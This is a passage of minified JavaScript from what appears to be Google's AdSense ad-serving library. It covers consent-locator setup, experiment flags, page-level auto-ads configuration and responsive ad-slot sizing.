Jj(a)).get("FCCDCF",""))?a:null;try{return a?Nb(hk,a):null}catch(b){return null}};Zb({Gb:0,Fb:1,Cb:2,xb:3,Db:4,yb:5,Eb:6,Ab:7,Bb:8,wb:9,zb:10}).map(function(a){return Number(a)});Zb({Ib:0,Jb:1,Hb:2}).map(function(a){return Number(a)});function mk(a){function b(){if(!a.frames.__uspapiLocator)if(c.body){var d=Mc("IFRAME",c);d.style.display="none";d.style.width="0px";d.style.height="0px";d.style.border="none";d.style.zIndex="-1000";d.style.left="-1000px";d.style.top="-1000px";d.name="__uspapiLocator";c.body.appendChild(d)}else a.setTimeout(b,5)}var c=a.document;b()};function nk(a){this.h=a;this.i=a.document;this.j=(a=(a=lk(this.i))?G(a,kk,5)||null:null)?A(a,2):null;(a=lk(this.i))&&G(a,jk,4);(a=lk(this.i))&&G(a,jk,4)}function ok(){var a=window;a.__uspapi||a.frames.__uspapiLocator||(a=new nk(a),pk(a))}function pk(a){!a.j||a.h.__uspapi||a.h.frames.__uspapiLocator||(a.h.__uspapiManager="fc",mk(a.h),Ga(function(){return a.l.apply(a,ka(ta.apply(0,arguments)))}))} nk.prototype.l=function(a,b,c){"function"===typeof c&&"getUSPData"===a&&c({version:1,uspString:this.j},!0)};function qk(a){J.call(this,a)}v(qk,J);qk.prototype.getWidth=function(){return C(this,1,0)};qk.prototype.getHeight=function(){return C(this,2,0)};function rk(a){J.call(this,a)}v(rk,J);function sk(a){J.call(this,a)}v(sk,J);var tk=[4,5];function uk(a){var b=/[a-zA-Z0-9._~-]/,c=/%[89a-zA-Z]./;return a.replace(/(%[a-zA-Z0-9]{2})/g,function(d){if(!d.match(c)){var e=decodeURIComponent(d);if(e.match(b))return e}return d.toUpperCase()})}function vk(a){for(var b="",c=/[/%?&=]/,d=0;d<a.length;++d){var e=a[d];b=e.match(c)?b+e:b+encodeURIComponent(e)}return b};function wk(a,b){a=vk(uk(a.location.pathname)).replace(/(^\/)|(\/$)/g,"");var c=Tc(a),d=xk(a);return r(b,"find").call(b,function(e){var f=null!=A(e,7)?A(G(e,oe,7),1):A(e,1);e=null!=A(e,7)?A(G(e,oe,7),2):2;if("number"!==typeof f)return!1;switch(e){case 1:return f==c;case 2:return d[f]||!1}return!1})||null}function xk(a){for(var b={};;){b[Tc(a)]=!0;if(!a)return b;a=a.substring(0,a.lastIndexOf("/"))}};var yk={},zk=(yk.google_ad_channel=!0,yk.google_ad_host=!0,yk);function Ak(a,b){a.location.href&&a.location.href.substring&&(b.url=a.location.href.substring(0,200));Yi("ama",b,.01)}function Bk(a){var b={};Sc(zk,function(c,d){d in a&&(b[d]=a[d])});return b};function Ck(a){a=G(a,le,3);return!a||A(a,1)<=Date.now()?!1:!0}function Dk(a){return(a=zj(a))?Ck(a)?a:null:null}function Ek(a,b){try{b.removeItem("google_ama_config")}catch(c){Ak(a,{lserr:1})}};function Fk(a){J.call(this,a)}v(Fk,J);function Gk(a){J.call(this,a,-1,Hk)}v(Gk,J);var Hk=[1];function Ik(a){J.call(this,a,-1,Jk)}v(Ik,J);Ik.prototype.getId=function(){return C(this,1,0)};Ik.prototype.V=function(){return C(this,7,0)};var Jk=[2];function Kk(a){J.call(this,a,-1,Lk)}v(Kk,J);Kk.prototype.V=function(){return C(this,5,0)};var Lk=[2];function Mk(a){J.call(this,a,-1,Nk)}v(Mk,J);function Ok(a){J.call(this,a,-1,Pk)}v(Ok,J);Ok.prototype.V=function(){return C(this,1,0)};function Qk(a){J.call(this,a)}v(Qk,J);var Nk=[1,4,2,3],Pk=[2];function Rk(a){J.call(this,a,-1,Sk)}v(Rk,J);function Tk(a){return Ib(a,Gk,14,Uk)}var Sk=[19],Uk=[13,14];var Vk=void 0;function Wk(){Yf(Vk,Xf);return Vk}function Xk(a){Yf(Vk,$f);Vk=a};function Yk(a,b,c,d){c=void 0===c?"":c;return 1===b&&Zk(c,void 0===d?null:d)?!0:$k(a,c,function(e){return Ua(H(e,Tb,2),function(f){return A(f,1)===b})})}function Zk(a,b){return b?13===Cb(b,Uk)?D(Ib(b,Fk,13,Uk),1):14===Cb(b,Uk)&&""!==a&&1===wb(Tk(b),1).length&&wb(Tk(b),1)[0]===a?D(G(Tk(b),Fk,2),1):!1:!1}function al(a,b){b=C(b,18,0);-1!==b&&(a.tmod=b)}function bl(a){var b=void 0===b?"":b;var c=Ic(L)||L;return cl(c,a)?!0:$k(L,b,function(d){return Ua(wb(d,3),function(e){return e===a})})} function dl(a){return $k(w,void 0===a?"":a,function(){return!0})}function cl(a,b){a=(a=(a=a.location&&a.location.hash)&&a.match(/forced_clientside_labs=([\d,]+)/))&&a[1];return!!a&&Xa(a.split(","),b.toString())}function $k(a,b,c){a=Ic(a)||a;var d=el(a);b&&(b=rd(String(b)));return Yb(d,function(e,f){return Object.prototype.hasOwnProperty.call(d,f)&&(!b||b===f)&&c(e)})}function el(a){a=fl(a);var b={};Sc(a,function(c,d){try{var e=new Rb(c);b[d]=e}catch(f){}});return b} function fl(a){return P(xe)?(a=Uj({u:a,Z:Wk()}),null!=a.h?(gl("ok"),a=hl(a.h.value)):(gl(a.i.message),a={}),a):hl(a.localStorage)}function hl(a){try{var b=a.getItem("google_adsense_settings");if(!b)return{};var c=JSON.parse(b);return c!==Object(c)?{}:Xb(c,function(d,e){return Object.prototype.hasOwnProperty.call(c,e)&&"string"===typeof e&&Array.isArray(d)})}catch(d){return{}}}function gl(a){P(we)&&Yi("abg_adsensesettings_lserr",{s:a,g:P(xe),c:Wk(),r:.01},.01)};function il(a,b,c,d){jl(new kl(a,b,c,d))}function kl(a,b,c,d){this.u=a;this.i=b;this.j=c;this.h=d}function jl(a){Ed(Cd(Uj({u:a.u,Z:D(a.i,6)}),function(b){ll(a,b,!0)}),function(){ml(a)})}function ll(a,b,c){Ed(Cd(nl(b),function(d){ol("ok");a.h(d)}),function(){Ek(a.u,b);c?ml(a):a.h(null)})}function ml(a){Ed(Cd(pl(a),a.h),function(){ql(a)})}function ql(a){Tj({u:a.u,Z:D(a.i,6),ta:50,Ia:function(b){rl(a,b)}})}function nl(a){return(a=Dk(a))?Dd(a):Fd(Error("invlocst"))} function pl(a){a:{var b=a.u;var c=a.j;a=a.i;if(13===Cb(a,Uk))b=(b=G(G(Ib(a,Fk,13,Uk),bk,2),ck,2))&&0<H(b,ce,1).length?b:null;else{if(14===Cb(a,Uk)){var d=wb(Tk(a),1),e=G(G(G(Tk(a),Fk,2),bk,2),ck,2);if(1===d.length&&d[0]===c&&e&&0<H(e,ce,1).length&&I(a,17)===b.location.host){b=e;break a}}b=null}}b?(c=new je,a=H(b,ce,1),c=Gb(c,1,a),b=H(b,me,2),b=Gb(c,7,b),b=Dd(b)):b=Fd(Error("invtag"));return b}function rl(a,b){Ed(Cd(b,function(c){ll(a,c,!1)}),function(c){ol(c.message);a.h(null)})} function ol(a){Yi("abg::amalserr",{status:a,guarding:"true",timeout:50,rate:.01},.01)};function sl(a){Ak(a,{atf:1})}function tl(a,b){(a.google_ama_state=a.google_ama_state||{}).exception=b;Ak(a,{atf:0})};function U(a){a.google_ad_modifications||(a.google_ad_modifications={});return a.google_ad_modifications}function ul(a){a=U(a);var b=a.space_collapsing||"none";return a.remove_ads_by_default?{Fa:!0,tb:b,qa:a.ablation_viewport_offset}:null}function vl(a,b){a=U(a);a.had_ads_ablation=!0;a.remove_ads_by_default=!0;a.space_collapsing="slot";a.ablation_viewport_offset=b}function wl(a){U(L).allow_second_reactive_tag=a} function xl(){var a=U(window);a.afg_slotcar_vars||(a.afg_slotcar_vars={});return a.afg_slotcar_vars};function yl(a,b){if(!a)return!1;a=a.hash;if(!a||!a.indexOf)return!1;if(-1!=a.indexOf(b))return!0;b=zl(b);return"go"!=b&&-1!=a.indexOf(b)?!0:!1}function zl(a){var b="";Sc(a.split("_"),function(c){b+=c.substr(0,2)});return b};$a||!x("Safari")||Oa();function Al(){var a=this;this.promise=new p.Promise(function(b,c){a.resolve=b;a.reject=c})};function Bl(){var a=new Al;return{promise:a.promise,resolve:a.resolve}};function Cl(a){a=void 0===a?function(){}:a;w.google_llp||(w.google_llp={});var b=w.google_llp,c=b[7];if(c)return c;c=Bl();b[7]=c;a();return c}function Dl(a){return Cl(function(){Lc(w.document,a)}).promise};function El(a){var b={};return{enable_page_level_ads:(b.pltais=!0,b),google_ad_client:a}};function Fl(a){if(w.google_apltlad||w!==w.top||!a.google_ad_client)return null;w.google_apltlad=!0;var b=El(a.google_ad_client),c=b.enable_page_level_ads;Sc(a,function(d,e){Ei[e]&&"google_ad_client"!==e&&(c[e]=d)});c.google_pgb_reactive=7;if("google_ad_section"in a||"google_ad_region"in a)c.google_ad_section=a.google_ad_section||a.google_ad_region;return b}function Gl(a){return ya(a.enable_page_level_ads)&&7===a.enable_page_level_ads.google_pgb_reactive};function Hl(a,b){this.h=w;this.i=a;this.j=b}function Il(a){P(lf)?il(a.h,a.j,a.i.google_ad_client||"",function(b){var c=a.h,d=a.i;U(L).ama_ran_on_page||b&&Jl(c,d,b)}):Tj({u:a.h,Z:D(a.j,6),ta:50,Ia:function(b){return Kl(a,b)}})}function Kl(a,b){Ed(Cd(b,function(c){Ll("ok");var d=a.h,e=a.i;if(!U(L).ama_ran_on_page){var f=Dk(c);f?Jl(d,e,f):Ek(d,c)}}),function(c){return Ll(c.message)})}function Ll(a){Yi("abg::amalserr",{status:a,guarding:!0,timeout:50,rate:.01},.01)} function Jl(a,b,c){if(null!=A(c,24)){var d=Si(a);d.availableAbg=!0;var e,f;d.ablationFromStorage=!!(null==(e=G(c,ee,24))?0:null==(f=G(e,ge,3))?0:Ib(f,he,2,ie))}if(Gl(b)&&(d=wk(a,H(c,me,7)),!d||!xb(d,8)))return;U(L).ama_ran_on_page=!0;var g;if(null==(g=G(c,re,15))?0:xb(g,23))U(a).enable_overlap_observer=!0;if((g=G(c,pe,13))&&1===A(g,1)){var h=0,k=G(g,qe,6);k&&A(k,3)&&(h=A(k,3)||0);vl(a,h)}else if(null==(h=G(c,ee,24))?0:null==(k=G(h,ge,3))?0:Ib(k,he,2,ie))Si(a).ablatingThisPageview=!0,vl(a,1);kd(3, [c.toJSON()]);var l=b.google_ad_client||"";b=Bk(ya(b.enable_page_level_ads)?b.enable_page_level_ads:{});var m=Rd(Vd,new Qd(null,b));Wi(782,function(){var q=m;try{var t=wk(a,H(c,me,7)),y;if(y=t)a:{var F=wb(t,2);if(F)for(var z=0;z<F.length;z++)if(1==F[z]){y=!0;break a}y=!1}if(y){if(A(t,4)){y={};var E=new Qd(null,(y.google_package=A(t,4),y));q=Rd(q,E)}var S=new vj(a,l,c,t,q),rb=new sd;(new fk(a,S,rb)).start();rb.i.then(Fa(sl,a),Fa(tl,a))}}catch(Kc){Ak(a,{atf:-1})}})};/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var Ml=ja(["https://fonts.googleapis.com/css2?family=Google+Material+Icons:wght@400;500;700"]);function Nl(a,b){return a instanceof HTMLScriptElement&&b.test(a.src)?0:1}function Ol(a){var b=L.document;if(b.currentScript)return Nl(b.currentScript,a);b=u(b.scripts);for(var c=b.next();!c.done;c=b.next())if(0===Nl(c.value,a))return 0;return 1};function Pl(a,b){var c={},d={},e={},f={};return f[fg]=(c[55]=function(){return 0===a},c[23]=function(g){return Yk(L,Number(g))},c[24]=function(g){return bl(Number(g))},c[61]=function(){return D(b,6)},c[63]=function(){return D(b,6)||".google.ch"===I(b,8)},c),f[gg]=(d[7]=function(g){try{var h=window.localStorage}catch(l){h=null}g=Number(g);g=void 0===g?0:g;g=0!==g?"google_experiment_mod"+g:"google_experiment_mod";var k=Vc(h,g);h=null===k?Wc(h,g):k;return null!=h?h:void 0},d),f[hg]=(e[6]=function(){return I(b, 15)},e),f};function Ql(a){a=void 0===a?w:a;return a.ggeac||(a.ggeac={})};function Rl(a,b){try{var c=a.split(".");a=w;for(var d=0,e;null!=a&&d<c.length;d++)e=a,a=a[c[d]],"function"===typeof a&&(a=e[c[d]]());var f=a;if(typeof f===b)return f}catch(g){}} function Sl(){var a={};this[fg]=(a[8]=function(b){try{return null!=va(b)}catch(c){}},a[9]=function(b){try{var c=va(b)}catch(d){return}if(b="function"===typeof c)c=c&&c.toString&&c.toString(),b="string"===typeof c&&-1!=c.indexOf("[native code]");return b},a[10]=function(){return window==window.top},a[6]=function(b){return Xa(O(Oh).h(),parseInt(b,10))},a[27]=function(b){b=Rl(b,"boolean");return void 0!==b?b:void 0},a[60]=function(b){try{return!!w.document.querySelector(b)}catch(c){}},a);a={};this[gg]= (a[3]=function(){return ad()},a[6]=function(b){b=Rl(b,"number");return void 0!==b?b:void 0},a[11]=function(b){b=void 0===b?"":b;var c=w;b=void 0===b?"":b;c=void 0===c?window:c;b=(c=(c=c.location.href.match(Ec)[3]||null)?decodeURI(c):c)?Tc(c+b):null;return null==b?void 0:b%1E3},a);a={};this[hg]=(a[2]=function(){return window.location.href},a[3]=function(){try{return window.top.location.hash}catch(b){return""}},a[4]=function(b){b=Rl(b,"string");return void 0!==b?b:void 0},a[10]=function(){try{var b= w.document;return b.visibilityState||b.webkitVisibilityState||b.mozVisibilityState||""}catch(c){return""}},a[11]=function(){try{var b,c,d,e,f;return null!=(f=null==(d=null==(b=va("google_tag_data"))?void 0:null==(c=b.uach)?void 0:c.fullVersionList)?void 0:null==(e=r(d,"find").call(d,function(g){return"Google Chrome"===g.brand}))?void 0:e.version)?f:""}catch(g){return""}},a)};var Tl=[12,13,20];function Ul(){}Ul.prototype.init=function(a,b,c,d){var e=this;d=void 0===d?{}:d;var f=void 0===d.Ka?!1:d.Ka,g=void 0===d.kb?{}:d.kb;d=void 0===d.mb?[]:d.mb;this.l=a;this.A={};this.G=f;this.m=g;a={};this.i=(a[b]=[],a[4]=[],a);this.j={};(b=Wh())&&Ra(b.split(",")||[],function(h){(h=parseInt(h,10))&&(e.j[h]=!0)});Ra(d,function(h){e.j[h]=!0});this.h=c;return this}; function Vl(a,b,c){var d=[],e=Wl(a.l,b),f;if(f=9!==b)a.A[b]?f=!0:(a.A[b]=!0,f=!1);if(f){var g;null==(g=a.h)||Yg(g,b,c,d,[],4);return d}if(!e.length){var h;null==(h=a.h)||Yg(h,b,c,d,[],3);return d}var k=Xa(Tl,b),l=[];Ra(e,function(q){var t=new Jg;if(q=Xl(a,q,c,t))0!==Cb(t,Kg)&&l.push(t),t=q.getId(),d.push(t),Yl(a,t,k?4:c),(q=H(q,qg,2))&&(k?oh(q,qh(),a.h,t):oh(q,[c],a.h,t))});var m;null==(m=a.h)||Yg(m,b,c,d,l,1);return d}function Yl(a,b,c){a.i[c]||(a.i[c]=[]);a=a.i[c];Xa(a,b)||a.push(b)} function Zl(a,b){a.l.push.apply(a.l,ka(Sa(Ta(b,function(c){return new Ok(c)}),function(c){return!Xa(Tl,c.V())})))} function Xl(a,b,c,d){var e=O(ah).h;if(!mg(G(b,ag,3),e))return null;var f=H(b,Ik,2),g=C(b,6,0);if(g){Bb(d,1,Kg,g);f=e[gg];switch(c){case 2:var h=f[8];break;case 1:h=f[7]}c=void 0;if(h)try{c=h(g),Ab(d,3,c)}catch(k){}return(b=$l(b,c))?am(a,[b],1):null}if(g=C(b,10,0)){Bb(d,2,Kg,g);h=null;switch(c){case 1:h=e[gg][9];break;case 2:h=e[gg][10];break;default:return null}c=h?h(String(g)):void 0;if(void 0===c&&1===C(b,11,0))return null;void 0!==c&&Ab(d,3,c);return(b=$l(b,c))?am(a,[b],1):null}d=e?Sa(f,function(k){return mg(G(k, ag,3),e)}):f;if(!d.length)return null;c=d.length*C(b,1,0);return(b=C(b,4,0))?bm(a,b,c,d):am(a,d,c/1E3)}function bm(a,b,c,d){var e=null!=a.m[b]?a.m[b]:1E3;if(0>=e)return null;d=am(a,d,c/e);a.m[b]=d?0:e-c;return d}function am(a,b,c){var d=a.j,e=Va(b,function(f){return!!d[f.getId()]});return e?e:a.G?null:Oc(b,c)} function cm(a,b){Jh(th,function(c){a.j[c]=!0},b);Jh(wh,function(c,d){return Vl(a,c,d)},b);Jh(xh,function(c){return(a.i[c]||[]).concat(a.i[4])},b);Jh(Gh,function(c){return Zl(a,c)},b);Jh(uh,function(c,d){return Yl(a,c,d)},b)}function Wl(a,b){return(a=Va(a,function(c){return c.V()==b}))&&H(a,Kk,2)||[]}function $l(a,b){var c=H(a,Ik,2),d=c.length,e=C(a,8,0);a=d*C(a,1,0)-1;b=void 0!==b?b:Math.floor(1E3*Rc());d=(b-e)%d;if(b<e||b-e-d>=a)return null;c=c[d];e=O(ah).h;return!c||e&&!mg(G(c,ag,3),e)?null:c};function dm(){this.h=function(){}}function em(a){O(dm).h(a)};var fm,gm,hm,im,jm,km; function lm(a,b,c,d){var e=1;d=void 0===d?Ql():d;e=void 0===e?0:e;var f=void 0===f?new Tg(null!=(im=null==(fm=G(a,Qk,5))?void 0:C(fm,2,0))?im:0,null!=(jm=null==(gm=G(a,Qk,5))?void 0:C(gm,4,0))?jm:0,null!=(km=null==(hm=G(a,Qk,5))?void 0:D(hm,3))?km:!1):f;d.hasOwnProperty("init-done")?(Kh(Gh,d)(Ta(H(a,Ok,2),function(g){return g.toJSON()})),Kh(Hh,d)(Ta(H(a,qg,1),function(g){return g.toJSON()}),e),b&&Kh(Ih,d)(b),mm(d,e)):(cm(O(Ul).init(H(a,Ok,2),e,f,c),d),Lh(d),Mh(d),Nh(d),mm(d,e),oh(H(a,qg,1),[e],f, void 0,!0),bh=bh||!(!c||!c.hb),em(O(Sl)),b&&em(b))}function mm(a,b){a=void 0===a?Ql():a;b=void 0===b?0:b;var c=a,d=b;d=void 0===d?0:d;Ph(O(Oh),c,d);nm(a,b);O(dm).h=Kh(Ih,a);O(yf).m()}function nm(a,b){var c=O(yf);c.i=function(d,e){return Kh(zh,a,function(){return!1})(d,e,b)};c.j=function(d,e){return Kh(Ah,a,function(){return 0})(d,e,b)};c.l=function(d,e){return Kh(Bh,a,function(){return""})(d,e,b)};c.h=function(d,e){return Kh(Ch,a,function(){return[]})(d,e,b)};c.m=function(){Kh(vh,a)(b)}};function om(a,b,c){var d=U(a);if(d.plle)mm(Ql(a),1);else{d.plle=!0;try{var e=a.localStorage}catch(f){e=null}d=e;null==Vc(d,"goog_pem_mod")&&Wc(d,"goog_pem_mod");d=G(b,Mk,12);e=D(b,9);lm(d,Pl(c,b),{Ka:e&&!!a.google_disable_experiments,hb:e},Ql(a));if(c=I(b,15))c=Number(c),O(Oh).l(c);if(c=I(b,10))c=Number(c),O(Oh).i(c);b=u(wb(b,19));for(c=b.next();!c.done;c=b.next())c=c.value,O(Oh).i(c);O(Oh).j(12);O(Oh).j(10);a=Ic(a)||a;yl(a.location,"google_mc_lab")&&O(Oh).i(44738307)}};function pm(a,b,c){a=a.style;a.border="none";a.height=c+"px";a.width=b+"px";a.margin=0;a.padding=0;a.position="relative";a.visibility="visible";a.backgroundColor="transparent"};var qm={"120x90":!0,"160x90":!0,"180x90":!0,"200x90":!0,"468x15":!0,"728x15":!0};function rm(a,b){if(15==b){if(728<=a)return 728;if(468<=a)return 468}else if(90==b){if(200<=a)return 200;if(180<=a)return 180;if(160<=a)return 160;if(120<=a)return 120}return null};function V(a,b,c,d){d=void 0===d?!1:d;wi.call(this,a,b);this.da=c;this.ib=d}v(V,wi);V.prototype.pa=function(){return this.da};V.prototype.i=function(a,b,c){b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};function sm(a){return function(b){return!!(b.da&a)}};var tm={},um=(tm.image_stacked=1/1.91,tm.image_sidebyside=1/3.82,tm.mobile_banner_image_sidebyside=1/3.82,tm.pub_control_image_stacked=1/1.91,tm.pub_control_image_sidebyside=1/3.82,tm.pub_control_image_card_stacked=1/1.91,tm.pub_control_image_card_sidebyside=1/3.74,tm.pub_control_text=0,tm.pub_control_text_card=0,tm),vm={},wm=(vm.image_stacked=80,vm.image_sidebyside=0,vm.mobile_banner_image_sidebyside=0,vm.pub_control_image_stacked=80,vm.pub_control_image_sidebyside=0,vm.pub_control_image_card_stacked= 85,vm.pub_control_image_card_sidebyside=0,vm.pub_control_text=80,vm.pub_control_text_card=80,vm),xm={},ym=(xm.pub_control_image_stacked=100,xm.pub_control_image_sidebyside=200,xm.pub_control_image_card_stacked=150,xm.pub_control_image_card_sidebyside=250,xm.pub_control_text=100,xm.pub_control_text_card=150,xm); function zm(a){var b=0;a.T&&b++;a.J&&b++;a.K&&b++;if(3>b)return{M:"Tags data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num should be set together."};b=a.T.split(",");var c=a.K.split(",");a=a.J.split(",");if(b.length!==c.length||b.length!==a.length)return{M:'Lengths of parameters data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num must match. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside"'}; if(2<b.length)return{M:"The parameter length of attribute data-matched-content-ui-type, data-matched-content-columns-num and data-matched-content-rows-num is too long. At most 2 parameters for each attribute are needed: one for mobile and one for desktop, while you are providing "+(b.length+' parameters. Example: \n data-matched-content-rows-num="4,2"\ndata-matched-content-columns-num="1,6"\ndata-matched-content-ui-type="image_stacked,image_card_sidebyside".')};for(var d=[],e=[],f=0;f<b.length;f++){var g= Number(c[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+c[f]+"' for data-matched-content-rows-num."};d.push(g);g=Number(a[f]);if(r(Number,"isNaN").call(Number,g)||0===g)return{M:"Wrong value '"+a[f]+"' for data-matched-content-columns-num."};e.push(g)}return{K:d,J:e,Na:b}} function Am(a){return 1200<=a?{width:1200,height:600}:850<=a?{width:a,height:Math.floor(.5*a)}:550<=a?{width:a,height:Math.floor(.6*a)}:468<=a?{width:a,height:Math.floor(.7*a)}:{width:a,height:Math.floor(3.44*a)}};var Bm=Za("script");function Cm(a,b,c,d,e,f,g,h,k,l,m,q){this.A=a;this.U=b;this.da=void 0===c?null:c;this.h=void 0===d?null:d;this.P=void 0===e?null:e;this.i=void 0===f?null:f;this.j=void 0===g?null:g;this.H=void 0===h?null:h;this.N=void 0===k?null:k;this.l=void 0===l?null:l;this.m=void 0===m?null:m;this.O=void 0===q?null:q;this.R=this.C=this.G=null}Cm.prototype.size=function(){return this.U}; function Dm(a,b,c){null!=a.da&&(c.google_responsive_formats=a.da);null!=a.P&&(c.google_safe_for_responsive_override=a.P);null!=a.i&&(!0===a.i?c.google_full_width_responsive_allowed=!0:(c.google_full_width_responsive_allowed=!1,c.gfwrnwer=a.i));null!=a.j&&!0!==a.j&&(c.gfwrnher=a.j);var d=a.m||c.google_ad_width;null!=d&&(c.google_resizing_width=d);d=a.l||c.google_ad_height;null!=d&&(c.google_resizing_height=d);d=a.size().h(b);var e=a.size().height();if(!c.google_ad_resize){c.google_ad_width=d;c.google_ad_height= e;var f=a.size();b=f.h(b)+"x"+f.height();c.google_ad_format=b;c.google_responsive_auto_format=a.A;null!=a.h&&(c.armr=a.h);c.google_ad_resizable=!0;c.google_override_format=1;c.google_loader_features_used=128;!0===a.i&&(c.gfwrnh=a.size().height()+"px")}null!=a.H&&(c.gfwroml=a.H);null!=a.N&&(c.gfwromr=a.N);null!=a.l&&(c.gfwroh=a.l);null!=a.m&&(c.gfwrow=a.m);null!=a.O&&(c.gfwroz=a.O);null!=a.G&&(c.gml=a.G);null!=a.C&&(c.gmr=a.C);null!=a.R&&(c.gzi=a.R);b=Ic(window)||window;yl(b.location,"google_responsive_dummy_ad")&& (Xa([1,2,3,4,5,6,7,8],a.A)||1===a.h)&&2!==a.h&&(a=JSON.stringify({googMsgType:"adpnt",key_value:[{key:"qid",value:"DUMMY_AD"}]}),c.dash="<"+Bm+">window.top.postMessage('"+a+"', '*');\n </"+Bm+'>\n <div id="dummyAd" style="width:'+d+"px;height:"+e+'px;\n background:#ddd;border:3px solid #f00;box-sizing:border-box;\n color:#000;">\n <p>Requested size:'+d+"x"+e+"</p>\n <p>Rendered size:"+d+"x"+e+"</p>\n </div>")};var Em=["google_content_recommendation_ui_type","google_content_recommendation_columns_num","google_content_recommendation_rows_num"];function Fm(a,b){wi.call(this,a,b)}v(Fm,wi);Fm.prototype.h=function(a){return Math.min(1200,Math.max(this.minWidth(),Math.round(a)))}; function Gm(a,b){Hm(a,b);if("pedestal"==b.google_content_recommendation_ui_type)return new Cm(9,new Fm(a,Math.floor(a*b.google_phwr)));var c=Cc();468>a?c?(c=a-8-8,c=Math.floor(c/1.91+70)+Math.floor(11*(c*um.mobile_banner_image_sidebyside+wm.mobile_banner_image_sidebyside)+96),a={aa:a,$:c,J:1,K:12,T:"mobile_banner_image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:1,K:13,T:"image_sidebyside"}):(a=Am(a),a={aa:a.width,$:a.height,J:4,K:2,T:"image_stacked"});Im(b,a);return new Cm(9,new Fm(a.aa,a.$))} function Jm(a,b){Hm(a,b);var c=zm({K:b.google_content_recommendation_rows_num,J:b.google_content_recommendation_columns_num,T:b.google_content_recommendation_ui_type});if(c.M)a={aa:0,$:0,J:0,K:0,T:"image_stacked",M:c.M};else{var d=2===c.Na.length&&468<=a?1:0;var e=c.Na[d];e=0===e.indexOf("pub_control_")?e:"pub_control_"+e;var f=ym[e];for(var g=c.J[d];a/g<f&&1<g;)g--;f=g;c=c.K[d];d=Math.floor(((a-8*f-8)/f*um[e]+wm[e])*c+8*c+8);a=1500<a?{width:0,height:0,rb:"Calculated slot width is too large: "+a}: 1500<d?{width:0,height:0,rb:"Calculated slot height is too large: "+d}:{width:a,height:d};a={aa:a.width,$:a.height,J:f,K:c,T:e}}if(a.M)throw new T(a.M);Im(b,a);return new Cm(9,new Fm(a.aa,a.$))}function Hm(a,b){if(0>=a)throw new T("Invalid responsive width from Matched Content slot "+b.google_ad_slot+": "+a+". Please ensure to put this Matched Content slot into a non-zero width div container.");} function Im(a,b){a.google_content_recommendation_ui_type=b.T;a.google_content_recommendation_columns_num=b.J;a.google_content_recommendation_rows_num=b.K};function Km(a,b){wi.call(this,a,b)}v(Km,wi);Km.prototype.h=function(){return this.minWidth()};Km.prototype.i=function(a,b,c){vi(a,c);b.google_ad_resize||(c.style.height=this.height()+"px",b.rpe=!0)};var Lm={"image-top":function(a){return 600>=a?284+.414*(a-250):429},"image-middle":function(a){return 500>=a?196-.13*(a-250):164+.2*(a-500)},"image-side":function(a){return 500>=a?205-.28*(a-250):134+.21*(a-500)},"text-only":function(a){return 500>=a?187-.228*(a-250):130},"in-article":function(a){return 420>=a?a/1.2:460>=a?a/1.91+130:800>=a?a/4:200}};function Mm(a,b){wi.call(this,a,b)}v(Mm,wi);Mm.prototype.h=function(){return Math.min(1200,this.minWidth())}; function Nm(a,b,c,d,e){var f=e.google_ad_layout||"image-top";if("in-article"==f){var g=a;if("false"==e.google_full_width_responsive)a=g;else if(a=qi(b,c,g,.2,e),!0!==a)e.gfwrnwer=a,a=g;else if(a=Wf(b))if(e.google_full_width_responsive_allowed=!0,c.parentElement){b:{g=c;for(var h=0;100>h&&g.parentElement;++h){for(var k=g.parentElement.childNodes,l=0;l<k.length;++l){var m=k[l];if(m!=g&&ti(b,m))break b}g=g.parentElement;g.style.width="100%";g.style.height="auto"}}vi(b,c)}else a=g;else a=g}if(250>a)throw new T("Fluid responsive ads must be at least 250px wide: availableWidth="+ a);a=Math.min(1200,Math.floor(a));if(d&&"in-article"!=f){f=Math.ceil(d);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);return new Cm(11,new wi(a,f))}if("in-article"!=f&&(d=e.google_ad_layout_key)){f=""+d;b=Math.pow(10,3);if(d=(c=f.match(/([+-][0-9a-z]+)/g))&&c.length){e=[];for(g=0;g<d;g++)e.push(parseInt(c[g],36)/b);b=e}else b=null;if(!b)throw new T("Invalid data-ad-layout-key value: "+f);f=(a+-725)/1E3;c=0;d=1;e=b.length;for(g=0;g<e;g++)c+=b[g]*d,d*=f;f=Math.ceil(1E3* c- -725+10);if(isNaN(f))throw new T("Invalid height: height="+f);if(50>f)throw new T("Fluid responsive ads must be at least 50px tall: height="+f);if(1200<f)throw new T("Fluid responsive ads must be at most 1200px tall: height="+f);return new Cm(11,new wi(a,f))}d=Lm[f];if(!d)throw new T("Invalid data-ad-layout value: "+f);c=Ai(c,b);b=Wf(b);b="in-article"!==f||c||a!==b?Math.ceil(d(a)):Math.ceil(1.25*d(a));return new Cm(11,"in-article"==f?new Mm(a,b):new wi(a,b))};function Om(a){return function(b){for(var c=a.length-1;0<=c;--c)if(!a[c](b))return!1;return!0}}function Pm(a,b){for(var c=Qm.slice(0),d=c.length,e=null,f=0;f<d;++f){var g=c[f];if(a(g)){if(!b||b(g))return g;null===e&&(e=g)}}return e};var W=[new V(970,90,2),new V(728,90,2),new V(468,60,2),new V(336,280,1),new V(320,100,2),new V(320,50,2),new V(300,600,4),new V(300,250,1),new V(250,250,1),new V(234,60,2),new V(200,200,1),new V(180,150,1),new V(160,600,4),new V(125,125,1),new V(120,600,4),new V(120,240,4),new V(120,120,1,!0)],Qm=[W[6],W[12],W[3],W[0],W[7],W[14],W[1],W[8],W[10],W[4],W[15],W[2],W[11],W[5],W[13],W[9],W[16]];function Rm(a,b,c,d,e){"false"==e.google_full_width_responsive?c={D:a,F:1}:"autorelaxed"==b&&e.google_full_width_responsive||Sm(b)||e.google_ad_resize?(b=ri(a,c,d,e),c=!0!==b?{D:a,F:b}:{D:Wf(c)||a,F:!0}):c={D:a,F:2};b=c.F;return!0!==b?{D:a,F:b}:d.parentElement?{D:c.D,F:b}:{D:a,F:b}} function Tm(a,b,c,d,e){var f=Wi(247,function(){return Rm(a,b,c,d,e)}),g=f.D;f=f.F;var 